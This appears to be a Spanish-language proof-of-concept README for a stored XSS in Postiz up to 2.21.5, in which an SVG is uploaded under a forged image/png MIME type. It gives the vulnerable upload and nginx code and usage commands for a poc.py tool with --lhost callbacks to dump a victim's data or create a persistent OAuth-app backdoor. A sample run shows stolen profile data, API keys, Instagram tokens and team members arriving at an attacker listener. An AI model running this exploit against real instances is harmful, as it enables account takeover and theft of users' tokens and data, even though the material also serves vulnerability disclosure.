Atacante sube .svg con Content-Type: image/png
  -> El servidor valida solo la cabecera Content-Type (CWE-345)
    -> El archivo se guarda en disco con la extensión .svg original (CWE-434)
      -> nginx lo sirve como image/svg+xml
        -> El navegador ejecuta el JavaScript incrustado (CWE-79)
          -> Mismo origen: acceso completo a la sesión de la víctima

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

Python 3.8+
pip install requests

# 1. Comprobar si el objetivo es vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrar todo de la víctima
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Crear una puerta trasera persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reutilizar el token sin credenciales
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Atacante                    Servidor Postiz              Víctima
    |                              |                        |
    |-- 1. Login/Registro -------->|                        |
    |-- 2. Subir SVG malicioso --->|                        |
    |<---- URL del archivo --------|                        |
    |-- 3. Enviar URL a la víctima ------------------------>|
    |                              |<--- 4. Abre la URL ----|
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS se ejecuta, exfiltra datos ------|

$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS Almacenado mediante Subida de Archivos con MIME Falsificado

[*] Iniciando sesión como [email protected] ...
[+] Autenticado.
[*] Generando carga útil: Exfiltrar todo en una sola carga útil
[*] Subiendo .svg malicioso con Content-Type: image/png ...
[+] Subida exitosa.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Ruta: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Iniciando listener de exfiltración en 0.0.0.0:8888 ...

=================================================================
  Envía esta URL a la víctima:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] Esperando a que la víctima abra el enlace ...

[+] Botín recibido @ 2026-04-15 03:45:41
    etiqueta: victim-profile
    datos: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] Botín recibido @ 2026-04-15 03:45:41
    etiqueta: integrations
    datos: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] Botín recibido @ 2026-04-15 03:45:42
    etiqueta: team-members
    datos: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...